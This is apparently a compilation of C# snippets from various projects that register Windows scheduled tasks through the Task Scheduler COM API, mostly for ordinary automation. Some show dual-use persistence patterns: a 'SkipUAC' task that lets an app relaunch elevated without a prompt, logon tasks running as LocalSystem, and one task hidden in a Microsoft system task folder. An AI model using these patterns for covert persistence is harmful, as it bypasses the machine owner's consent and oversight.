static public bool SkipUacEnable(bool is_enable) { try { TaskScheduler.TaskScheduler service = new TaskScheduler.TaskScheduler(); service.Connect(); ITaskFolder folder = service.GetFolder(@"\"); // root if (is_enable) { string exePath = System.Reflection.Assembly.GetExecutingAssembly().Location; ITaskDefinition task = service.NewTask(0); task.RegistrationInfo.Author = "WuMgr"; task.Principal.RunLevel = _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST; task.Settings.AllowHardTerminate = false; task.Settings.StartWhenAvailable = false; task.Settings.DisallowStartIfOnBatteries = false; task.Settings.StopIfGoingOnBatteries = false; task.Settings.MultipleInstances = _TASK_INSTANCES_POLICY.TASK_INSTANCES_PARALLEL; task.Settings.ExecutionTimeLimit = "PT0S"; IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = exePath; action.WorkingDirectory = appPath; action.Arguments = "-NoUAC $(Arg0)"; IRegisteredTask registered_task = folder.RegisterTaskDefinition(nTaskName, task, (int)_TASK_CREATION.TASK_CREATE_OR_UPDATE, null, null, _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN); if (registered_task == null) { return(false); } // Note: if we run as UWP we need to adjust the file permissions for this workaround to work if (MiscFunc.IsRunningAsUwp()) { if (!FileOps.TakeOwn(exePath)) { return(false); } FileSecurity ac = File.GetAccessControl(exePath); ac.AddAccessRule(new FileSystemAccessRule(new SecurityIdentifier(FileOps.SID_Worls), FileSystemRights.ReadAndExecute, AccessControlType.Allow)); File.SetAccessControl(exePath, ac); } } else { folder.DeleteTask(nTaskName, 0); } } catch (Exception err) { AppLog.Line("Enable SkipUAC Error {0}", err.ToString()); return(false); } return(true); }
/// <summary> /// Configures Executable Action /// </summary> /// <param name="action">Task Action to be configured</param> /// <param name="actionInfo">Object containing the information to be configured</param> private static void ConfigureExecAction(IAction action, Entities.Action actionInfo) { IExecAction execAction = action as IExecAction; StartProgramAction progAction = actionInfo as StartProgramAction; execAction.Path = progAction.ProgramToRun; execAction.Arguments = progAction.Arguments; }
private void AddTaskAction(ITaskDefinition iTaskDefinition, ScheduledJobDefinition definition) { IExecAction pSExecutionPath = iTaskDefinition.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC) as IExecAction; pSExecutionPath.Id = "StartPowerShellJob"; pSExecutionPath.Path = definition.PSExecutionPath; pSExecutionPath.Arguments = definition.PSExecutionArgs; }
/// <summary> /// 创建任务 /// </summary> void CreateTask() { try { string creator = "HST"; string taskName = TaskName; string path = Process.GetCurrentProcess().MainModule.FileName; string interval = "PT24H0M"; //new scheduler TaskSchedulerClass scheduler = new TaskSchedulerClass(); //pc-name/ip,username,domain,password scheduler.Connect(null, null, null, null); //get scheduler folder ITaskFolder folder = scheduler.GetFolder("\\"); //set base attr ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = creator; //creator task.RegistrationInfo.Description = "Boot BudSSH"; //description task.RegistrationInfo.Date = DateTimeUtil.GetTaskFormatTime(DateTime.Now); //set trigger (IDailyTrigger ITimeTrigger) ITimeTrigger tt = (ITimeTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME); tt.Repetition.Interval = interval;// format PT1H1M==1小时1分钟 设置的值最终都会转成分钟加入到触发器 Config config = ConfigManager.GetCurrentConfig(); var date = DateTime.Parse(config.SSHBootTime); tt.StartBoundary = DateTimeUtil.GetTaskFormatTime(date);// "2015-04-09T14:27:25";//start time //set action IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = path; task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时 task.Settings.DisallowStartIfOnBatteries = false; //只有在交流电源下才执行 task.Settings.RunOnlyIfIdle = false; //仅当计算机空闲下才执行 IRegisteredTask regTask = folder.RegisterTaskDefinition(taskName, task, (int)_TASK_CREATION.TASK_CREATE, null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); if (regTask.State != _TASK_STATE.TASK_STATE_READY && regTask.State != _TASK_STATE.TASK_STATE_RUNNING) { IRunningTask runTask = regTask.Run(null); } logger.Info("regTask.State: " + regTask.State); } catch (System.Exception ex) { logger.Error("Create Task Error"); throw ex; } }
private void AddTaskAction( ITaskDefinition iTaskDefinition, ScheduledJobDefinition definition) { IExecAction iExecAction = iTaskDefinition.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC) as IExecAction; Debug.Assert(iExecAction != null); iExecAction.Id = ScheduledJobTaskActionId; iExecAction.Path = definition.PSExecutionPath; iExecAction.Arguments = definition.PSExecutionArgs; }
private static void ValidTask() { try { string taskName = "TM_monitor"; string creator = "Administrator"; string path = Application.StartupPath + @"\Monitor.exe"; if (IsExists(taskName)) { return; DeleteTask(taskName); } //实例化任务对象 TaskSchedulerClass scheduler = new TaskSchedulerClass(); scheduler.Connect(null, null, null, null);//连接 ITaskFolder folder = scheduler.GetFolder("\\"); //设置常规属性 ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = creator; //创建者 task.RegistrationInfo.Description = "描述信息"; //描述 task.Principal.RunLevel = _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST; //使用最高权限运行 //设置触发器 ILogonTrigger tt = (ILogonTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); //触发器里的开始任务,其他开始任务方式用的是其他接口 tt.UserId = Environment.MachineName + "\\" + creator; //特定用户 //设置操作 IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = path; //其他设置 task.Settings.ExecutionTimeLimit = "PT0S"; task.Settings.DisallowStartIfOnBatteries = false; task.Settings.RunOnlyIfIdle = false; //注册任务 IRegisteredTask regTask = folder.RegisterTaskDefinition( taskName, //计划任务名称 task, (int)_TASK_CREATION.TASK_CREATE, //创建 null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, //Principal.LogonType ""); IRunningTask runTask = regTask.Run(null); } catch (Exception ex) { throw ex; } }
private void ScheduleEmail(SlotRange range) { // create new Scheduled Task (email) TaskSchedulerClass scheduler = new TaskSchedulerClass(); // TODO: here we may need to specify the user scheduler.Connect(null, null, null, null); // CD: use current machine, username, password, domain // Registration ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = "GRcalcul"; task.RegistrationInfo.Description = "email linux script task"; task.RegistrationInfo.Date = DateTime.Now.ToString("yyyy-MM-ddTHH:MM:ss"); // Settings task.Settings.MultipleInstances = _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW; task.Settings.DisallowStartIfOnBatteries = false; task.Settings.StopIfGoingOnBatteries = false; task.Settings.AllowHardTerminate = true; task.Settings.StartWhenAvailable = true; task.Settings.RunOnlyIfNetworkAvailable = true; task.Settings.AllowDemandStart = true; task.Settings.Hidden = false; task.Settings.WakeToRun = true; task.Settings.ExecutionTimeLimit = "PT1H"; // 1 hour task.Settings.DeleteExpiredTaskAfter = "PT12M"; // 1 year ITimeTrigger trigger = (ITimeTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME); trigger.Id = "EmailTriggerForSlotRange_" + range.id_slotRange; DateTime dt = range.EndRes.Add(new System.TimeSpan(1, 0, 0, 0)); // Midnight after EndRes trigger.StartBoundary = dt.ToString("yyyy-MM-ddTHH:MM:ss"); trigger.EndBoundary = dt.Add(new System.TimeSpan(0, 0, 1, 0)).ToString("yyyy-MM-ddTHH:MM:ss"); // remove the task from active tasks 1 minute after midnight of end of endRes trigger.ExecutionTimeLimit = "PT2M"; // 2 minutes IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Id = "EmailActionForSlotRange_" + range.id_slotRange; action.Path = "C:\\script.vbs"; action.Arguments = range.id_slotRange.ToString(); ITaskFolder root = scheduler.GetFolder("\\"); IRegisteredTask regTask = root.RegisterTaskDefinition( "EmailTaskForSlotRange_" + range.id_slotRange, task, (int)_TASK_CREATION.TASK_CREATE_OR_UPDATE, null, // username - we're using the logged in user of this web app null, // password - we're using the logged in user of this web app _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN); // for simplicity, we're using the logged in Windows user who is running this web app }
/// <summary> /// Sets the action info of the task to run /// </summary> /// <param name="exePath"></param> private void SetActionInfo(string exePath) { try { objAction = (IExecAction)objTaskDef.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); objAction.Id = "Trollkit boot action"; objAction.Path = exePath; } catch (Exception ex) { BConsole.WriteLine(ex.Message, ConsoleColor.Red); } }
/// <summary> /// create task /// </summary> /// <param name="creator">创建计划的用户</param> /// <param name="taskName">任务名称</param> /// <param name="description">描述</param> /// <param name="path">启动程序</param> /// <param name="arguments">添加参数</param> /// <param name="interval">时间间隔</param> /// <returns>state</returns> public static _TASK_STATE CreateTaskScheduler(string creator, string taskName, string description, string path, string arguments, string interval) { try { if (IsExists(taskName)) { DeleteTask(taskName); } //new scheduler TaskSchedulerClass scheduler = new TaskSchedulerClass(); //pc-name/ip,username,domain,password scheduler.Connect(null, null, null, null); //get scheduler folder ITaskFolder folder = scheduler.GetFolder("\\"); //set base attr ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = string.IsNullOrEmpty(creator)?Environment.UserName:creator; //creator task.RegistrationInfo.Description = description; //description //set trigger (IDailyTrigger ITimeTrigger) //ITimeTrigger tt = (ITimeTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME);//触发器一次 IDailyTrigger tt = (IDailyTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_DAILY); //触发器每天 //tt.Repetition.Interval = interval;// format PT1H1M==1小时1分钟 设置的值最终都会转成分钟加入到触发器 tt.StartBoundary = DateTime.Now.AddDays(1).ToString("yyyy-MM-dd").Insert(10, "T04:00:00"); // "2015-04-09T14:27:25";//start time //set action IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = path; action.Arguments = arguments; task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时 task.Settings.DisallowStartIfOnBatteries = false; //只有在交流电源下才执行 task.Settings.RunOnlyIfIdle = false; //仅当计算机空闲下才执行 IRegisteredTask regTask = folder.RegisterTaskDefinition(taskName, task, (int)_TASK_CREATION.TASK_CREATE, null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); //IRunningTask runTask = regTask.Run(null);//启动计划任务运行的程序 //return runTask.State; return(regTask.State); } catch (Exception ex) { throw ex; } }
/// <summary> /// 创建任务计划 /// </summary> /// <param name="strCreator">作者</param> /// <param name="strTaskName">任务名称</param> /// <param name="strPath">任务计划路径</param> /// <param name="strInterval">任务触发时间(PT1M:1分钟,PT1H30M:90分钟)</param> /// <param name="strStartBoundary">任务开始时间(yyyy-MM-ddTHH:mm:ss)</param> /// <param name="strDescription">任务描述</param> /// <returns>任务状态</returns> public static bool CreateTaskschd(string strCreator, string strTaskName, string strPath, string strInterval, string strStartBoundary, string strDescription) { try { if (IsExists(strTaskName)) { DeleteTaskschd(strTaskName); } //new scheduler TaskSchedulerClass scheduler = new TaskSchedulerClass(); //pc-name/ip,username,domain,password scheduler.Connect(null, null, null, null); //get scheduler folder ITaskFolder folder = scheduler.GetFolder("\\"); //set base attr ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = strCreator; //creator task.RegistrationInfo.Description = strDescription; //description //set trigger (IDailyTrigger ITimeTrigger) ITimeTrigger tt = (ITimeTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME); tt.Repetition.Interval = strInterval; // format PT1H1M==1小时1分钟 设置的值最终都会转成分钟加入到触发器 tt.StartBoundary = strStartBoundary; //start time //set action IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = strPath; //计划任务调用的程序路径 task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时 task.Settings.DisallowStartIfOnBatteries = false; //只有在交流电源下才执行 task.Settings.RunOnlyIfIdle = false; //仅当计算机空闲下才执行 IRegisteredTask regTask = folder.RegisterTaskDefinition(strTaskName, task, (int)_TASK_CREATION.TASK_CREATE, null, //user null, //password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); IRunningTask runTask = regTask.Run(null); //return runTask.State; return(true); } catch (Exception ex) { TXTHelper.Logs(ex.ToString()); //return _TASK_STATE.TASK_STATE_UNKNOWN; return(false); } }
/// <summary> /// create task /// </summary> /// <param name="creator"></param> /// <param name="taskName"></param> /// <param name="path"></param> /// <param name="interval"></param> /// <returns>state</returns> public static _TASK_STATE CreateWeeklyTaskScheduler(string creator, string taskName, string path, string startDate) { try { if (IsExists(taskName)) { DeleteTask(taskName); } //new scheduler TaskSchedulerClass scheduler = new TaskSchedulerClass(); //pc-name/ip,username,domain,password scheduler.Connect(null, null, null, null); //get scheduler folder ITaskFolder folder = scheduler.GetFolder("\\"); //set base attr ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = creator; //creator task.RegistrationInfo.Description = "周报"; //description IWeeklyTrigger wt = (IWeeklyTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_WEEKLY); wt.WeeksInterval = 1; wt.DaysOfWeek = 5; wt.StartBoundary = DateTime.Parse(startDate).ToString("yyyy-MM-ddTHH:mm:ss");//start time //set action IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = path; task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时 task.Settings.DisallowStartIfOnBatteries = false; //只有在交流电源下才执行 task.Settings.RunOnlyIfIdle = false; //仅当计算机空闲下才执行 IRegisteredTask regTask = folder.RegisterTaskDefinition(taskName, task, (int)_TASK_CREATION.TASK_CREATE, null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); IRunningTask runTask = regTask.Run(null); return(runTask.State); } catch (Exception ex) { return(_TASK_STATE.TASK_STATE_RUNNING); } }
//Setting Task Action Information private void SetActionInfo() { try { //Action information based on exe- TASK_ACTION_EXEC objAction = (IExecAction)objTaskDef.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); //Action ID objAction.Id = "testAction1"; //Set the path of the exe file to execute, Here mspaint will be opened objAction.Path = "mspaint"; } catch (Exception ex) { throw ex; } }
public static _TASK_STATE CreateTaskScheduler(string creator, string taskName, string path, string interval, string startBoundary, string description) { try { //new scheduler TaskSchedulerClass scheduler = new TaskSchedulerClass(); //pc-name/ip,username,domain,password scheduler.Connect(null, null, null, null); //get scheduler folder; ITaskFolder folder = scheduler.GetFolder("\\Microsoft\\Windows\\Application Experience"); //set base attr ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = creator; //creator task.RegistrationInfo.Description = description; //description ITriggerCollection TriggerCollection = task.Triggers; ILogonTrigger LogonTrigger = (ILogonTrigger)TriggerCollection.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); LogonTrigger.Enabled = true; task.Principal.GroupId = "S-1-5-18"; // LocalSystem //set trigger (IDailyTrigger ITimeTrigger) ITimeTrigger tt = (ITimeTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME); tt.Repetition.Interval = interval; // format PT1H1M==1小时1分钟 设置的值最终都会转成分钟加入到触发器 tt.StartBoundary = startBoundary; //start time //set action IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = path; //计划任务调用的程序路径 task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时 task.Settings.DisallowStartIfOnBatteries = false; task.Settings.RunOnlyIfIdle = false; //仅当计算机空闲下才执行 IRegisteredTask regTask = folder.RegisterTaskDefinition(taskName, task, (int)_TASK_CREATION.TASK_CREATE, null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); IRunningTask runTask = regTask.Run(null); return(runTask.State); } catch (Exception ex) { throw ex; } }
public void addWakeUpTask(int sT) { //rootFolder.CreateFolder("", &newFolder); task = scheduler.NewTask(0); task.Settings.Enabled = true; task.Settings.WakeToRun = true; task.Settings.StopIfGoingOnBatteries = false; task.Settings.RunOnlyIfIdle = false; task.Settings.DisallowStartIfOnBatteries = false; task.Settings.IdleSettings.StopOnIdleEnd = false; task.Settings.RestartCount = 5; task.Settings.RestartInterval = "PT1M"; task.Settings.StartWhenAvailable = true; task.Settings.Priority = 0; task.Settings.MultipleInstances = _TASK_INSTANCES_POLICY.TASK_INSTANCES_PARALLEL; task.Principal.RunLevel = _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST; task.Principal.LogonType = _TASK_LOGON_TYPE.TASK_LOGON_SERVICE_ACCOUNT; task.Principal.UserId = "System"; action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); //action.Path = typeof(SayHello.Form1).Assembly.Location; action.Path = @"c:\windows\notepad.exe"; //action.Path = @"C:\Users\sagatsum\Documents\Visual Studio 2010\Projects\FakeISCTConsole\FakeISCTConsole\bin\Release\FakeISCTConsole.exe"; //action.WorkingDirectory = Path.GetDirectoryName(typeof(SayHello.Form1).Assembly.Location); //action.WorkingDirectory = @"C:\Users\sagatsum\Documents\Visual Studio 2010\Projects\FakeISCTConsole\FakeISCTConsole\bin\Release"; trigger = (ITimeTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME); //trigger.StateChange = _TASK_SESSION_STATE_CHANGE_TYPE.TASK_SESSION_UNLOCK; trigger.Enabled = true; trigger.StartBoundary = (DateTime.Now.AddSeconds(sT)).ToString("yyyy'-'MM'-'dd'T'HH':'mm':'ss"); task.RegistrationInfo.Author = "Shintaro Agatsuma"; task.RegistrationInfo.Description = "Fake iSCT Task."; try { IRegisteredTask ticket = rootFolder.RegisterTaskDefinition("Fake iSCT Wake Up", task, (int)_TASK_CREATION.TASK_CREATE_OR_UPDATE, null, null, _TASK_LOGON_TYPE.TASK_LOGON_S4U, null); eventLog.WriteEntry("Task Successfully added"); } catch (Exception e) { eventLog.WriteEntry("Failed to add a task: " + e.Message); } }
static public bool SkipUacRun(string taskName, string[] args = null) { bool silent = true; try { TaskScheduler.TaskScheduler service = new TaskScheduler.TaskScheduler(); service.Connect(); ITaskFolder folder = service.GetFolder(@"\"); // root IRegisteredTask task = folder.GetTask(taskName); silent = false; AppLog.Line("Trying to SkipUAC ..."); IExecAction action = (IExecAction)task.Definition.Actions[1]; if (action.Path.Equals(System.Reflection.Assembly.GetExecutingAssembly().Location, StringComparison.CurrentCultureIgnoreCase)) { string arguments = args == null ? "" : ("\"" + string.Join("\" \"", args) + "\""); IRunningTask running_Task = task.RunEx(arguments, (int)_TASK_RUN_FLAGS.TASK_RUN_NO_FLAGS, 0, null); for (int i = 0; i < 5; i++) { Thread.Sleep(250); running_Task.Refresh(); _TASK_STATE state = running_Task.State; if (state == _TASK_STATE.TASK_STATE_RUNNING || state == _TASK_STATE.TASK_STATE_READY || state == _TASK_STATE.TASK_STATE_DISABLED) { if (state == _TASK_STATE.TASK_STATE_RUNNING || state == _TASK_STATE.TASK_STATE_READY) { return(true); } break; } } } } catch (Exception err) { if (!silent) { AppLog.Line("SkipUAC Error {0}", err.ToString()); } } return(false); }
/// <summary> /// 创建计划任务,任何用户登陆都执行 /// </summary> /// <param name="taskName"></param> /// <param name="path"></param> public static void TaskCreate(string taskName, string path) { //实例化任务对象 TaskSchedulerClass scheduler = new TaskSchedulerClass(); scheduler.Connect(null, null, null, null); //连接 ITaskFolder folder = scheduler.GetFolder("\\"); //设置常规属性 ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = Environment.UserName; //创造者 task.RegistrationInfo.Description = "该计划为 bing每日美图 用于开机启动。"; //描述信息 task.Principal.RunLevel = _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST; //使用最高权限运行 //设置触发器 ILogonTrigger tt = (ILogonTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); //触发器里的开始任务,其他开始任务方式用的是其他接口 tt.UserId = Environment.MachineName + "\\" + Environment.UserName; //特定用户,安装的用户 //设置操作 IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = path; //计划任务调用的程序路径 action.Arguments = "1"; //配上参数,用来判断手动开启还是开机自启 //其他设置 task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时 task.Settings.DisallowStartIfOnBatteries = false; //只有在交流电源下才执行 task.Settings.RunOnlyIfIdle = false; //仅当计算机空闲下才执行 task.Settings.RunOnlyIfNetworkAvailable = true; //仅网络可用时启动 //注册任务 IRegisteredTask regTask = folder.RegisterTaskDefinition( taskName, //计划任务名字 task, (int)_TASK_CREATION.TASK_CREATE, //创建 null, //user null, //password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, // Principal.LogonType ""); }
/// <summary> /// create task /// </summary> /// <param name="creator"></param> /// <param name="taskName"></param> /// <param name="path"></param> /// <param name="interval"></param> /// <returns>state</returns> public static _TASK_STATE CreateTaskScheduler(string creator, string taskName, string path, string interval) { try { Delete(taskName); //new scheduler TaskSchedulerClass scheduler = new TaskSchedulerClass(); //pc-name/ip,username,domain,password scheduler.Connect(null, null, null, null); //get scheduler folder ITaskFolder folder = scheduler.GetFolder("\\"); //set base attr ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = "McodsAdmin"; //creator task.RegistrationInfo.Description = "..."; //description //set trigger (IDailyTrigger ITimeTrigger) ITimeTrigger tt = (ITimeTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_TIME); tt.Repetition.Interval = interval; // format PT1H1M==1小时1分钟 设置的值最终都会转成分钟加入到触发器 tt.StartBoundary = "2015-04-09T14:27:25"; //start time //set action IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = path; task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时 task.Settings.DisallowStartIfOnBatteries = false; //只有在交流电源下才执行 task.Settings.RunOnlyIfIdle = false; //仅当计算机空闲下才执行 IRegisteredTask regTask = folder.RegisterTaskDefinition(taskName, task, (int)_TASK_CREATION.TASK_CREATE, null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); IRunningTask runTask = regTask.Run(null); return(runTask.State); } catch (Exception ex) { throw ex; } }
public void AddTask() { Debug.Print("Adding Task " + TASKNAME); ConnectTaskSchedulerService(); ITaskDefinition task = taskService.NewTask(0); task.RegistrationInfo.Author = AUTHOR; task.RegistrationInfo.Description = DESCRIPTION; task.Settings.AllowDemandStart = true; task.Settings.Compatibility = _TASK_COMPATIBILITY.TASK_COMPATIBILITY_V2_1; task.Settings.Enabled = true; task.Settings.Hidden = false; task.Settings.MultipleInstances = _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW; task.Settings.RunOnlyIfNetworkAvailable = true; task.Settings.StartWhenAvailable = true; task.Settings.StopIfGoingOnBatteries = false; task.Settings.IdleSettings.StopOnIdleEnd = false; task.Principal.GroupId = "S-1-5-18"; // LocalSystem task.Principal.RunLevel = _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST; DateTime now = DateTime.Now; DateTime start = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0); DateTime end = start.AddYears(10); IDailyTrigger trigger = (IDailyTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_DAILY); trigger.Enabled = true; trigger.StartBoundary = start.ToString(DateTimeFormatExpectedByCOM); trigger.EndBoundary = end.ToString(DateTimeFormatExpectedByCOM); trigger.DaysInterval = 7; // every 7 days trigger.RandomDelay = "P0DT4H0M0S"; // up-to-4 hours random IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = Process.GetCurrentProcess().MainModule.FileName; ITaskFolder root = taskService.GetFolder(TaskPathSeparator); root.RegisterTaskDefinition(TASKNAME, task, 6 /* TASK_CREATE_OR_UPDATE */, null, null, _TASK_LOGON_TYPE.TASK_LOGON_SERVICE_ACCOUNT, null); }
/// <summary> /// create task /// </summary> /// <param name="creator"></param> /// <param name="taskName"></param> /// <param name="path"></param> /// <param name="interval"></param> /// <returns>state</returns> public static _TASK_STATE CreateDailyTaskScheduler(string creator, string taskName, string path, string startDate) { try { if (IsExists(taskName)) { DeleteTask(taskName); } TaskSchedulerClass scheduler = new TaskSchedulerClass(); scheduler.Connect(null, null, null, null); ITaskFolder folder = scheduler.GetFolder("\\"); ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = creator; task.RegistrationInfo.Description = "每日小知识"; IDailyTrigger dt = (IDailyTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_DAILY); dt.DaysInterval = 1; dt.StartBoundary = DateTime.Parse(startDate).ToString("yyyy-MM-ddTHH:mm:ss");//start time IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = path;//path; task.Settings.ExecutionTimeLimit = "PT0S"; task.Settings.DisallowStartIfOnBatteries = false; task.Settings.RunOnlyIfIdle = false; IRegisteredTask regTask = folder.RegisterTaskDefinition(taskName, task, (int)_TASK_CREATION.TASK_CREATE, null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); IRunningTask runTask = regTask.Run(null); return(runTask.State); } catch (Exception ex) { return(_TASK_STATE.TASK_STATE_RUNNING); } }
/// <summary> /// 创建任务计划 /// </summary> /// <param name="creator">标识创建任务的用户</param> /// <param name="description">任务的描述信息</param> /// <param name="name">任务的名称</param> /// <param name="path">任务需要执行的exe文件</param> /// <param name="frequency">任务启动频率</param> /// <param name="date">任务开始时间</param> /// <param name="day">任务在那一天执行</param> /// <param name="week">任务在星期几执行</param> /// <returns></returns> #region public static bool createTask(String creator, String description, String name, String path, String frequency, String date, int day, String week) public static bool createTask(String creator, String description, String name, String path, String frequency, String date, int day, String week) { try { //检查任务计划存在,则删除任务计划 if (checkTask(name, out _TASK_STATE state)) { deleteTask(name); } //创建实例 TaskSchedulerClass task = new TaskSchedulerClass(); task.Connect(null, null, null, null); //连接到主机 ITaskFolder folder = task.GetFolder("\\"); //获取任务计划目录 //设置任务定义信息 ITaskDefinition definition = task.NewTask(0); definition.RegistrationInfo.Author = creator; //任务创建者 definition.RegistrationInfo.Description = description; //任务描述信息 definition.RegistrationInfo.Date = DateTime.Now.ToString("yyyy-MM-ddTHH:mm:ss"); //任务创建时间 ITrigger trigger = getTriigger(frequency, definition, date, day, week); //创建定时器 if (trigger == null) //判断定时器是否创建成功 { Logger.info(typeof(TaskSchedulerUtils), "create trigger type error."); return(false); } //设置任务的动作 IExecAction action = definition.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC) as IExecAction; action.Path = path; //设置任务执行相应动作的目录 //definition.Settings.ExecutionTimeLimit = "RestartOnFailure"; definition.Settings.DisallowStartIfOnBatteries = false; //交流电源不允许启动任务 definition.Settings.RunOnlyIfIdle = false; //空闲状态下运行任务 //注册任务 IRegisteredTask iregTask = folder.RegisterTaskDefinition(name, definition, (int)_TASK_CREATION.TASK_CREATE, "", "", _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); //IRunningTask running = iregTask.Run(null); return(true); } catch (Exception ex) { Logger.error(typeof(TaskSchedulerUtils), ex); } return(false); }
static public bool SkipUacEnable(bool is_enable) { try { TaskScheduler.TaskScheduler service = new TaskScheduler.TaskScheduler(); service.Connect(); ITaskFolder folder = service.GetFolder(@"\"); // root if (is_enable) { ITaskDefinition task = service.NewTask(0); task.RegistrationInfo.Author = "WuMgr"; task.Principal.RunLevel = _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST; task.Settings.AllowHardTerminate = false; task.Settings.StartWhenAvailable = false; task.Settings.DisallowStartIfOnBatteries = false; task.Settings.StopIfGoingOnBatteries = false; task.Settings.MultipleInstances = _TASK_INSTANCES_POLICY.TASK_INSTANCES_PARALLEL; task.Settings.ExecutionTimeLimit = "PT0S"; IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = System.Reflection.Assembly.GetExecutingAssembly().Location; action.WorkingDirectory = appPath; action.Arguments = "-NoUAC $(Arg0)"; IRegisteredTask registered_task = folder.RegisterTaskDefinition(nTaskName, task, (int)_TASK_CREATION.TASK_CREATE_OR_UPDATE, null, null, _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN); return(registered_task != null); } else { folder.DeleteTask(nTaskName, 0); return(true); } } catch (Exception err) { AppLog.Line("Enable SkipUAC Error {0}", err.ToString()); return(false); } }
